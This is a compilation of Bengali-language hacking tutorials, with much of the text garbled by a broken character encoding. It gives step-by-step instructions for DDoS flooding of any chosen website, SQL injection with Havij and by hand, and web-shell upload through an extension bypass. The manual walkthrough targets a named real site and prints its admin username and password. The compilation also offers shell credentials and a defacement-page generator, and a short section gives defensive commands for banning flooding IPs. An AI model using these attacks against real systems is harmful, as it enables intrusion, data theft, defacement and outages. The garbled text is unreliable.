সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
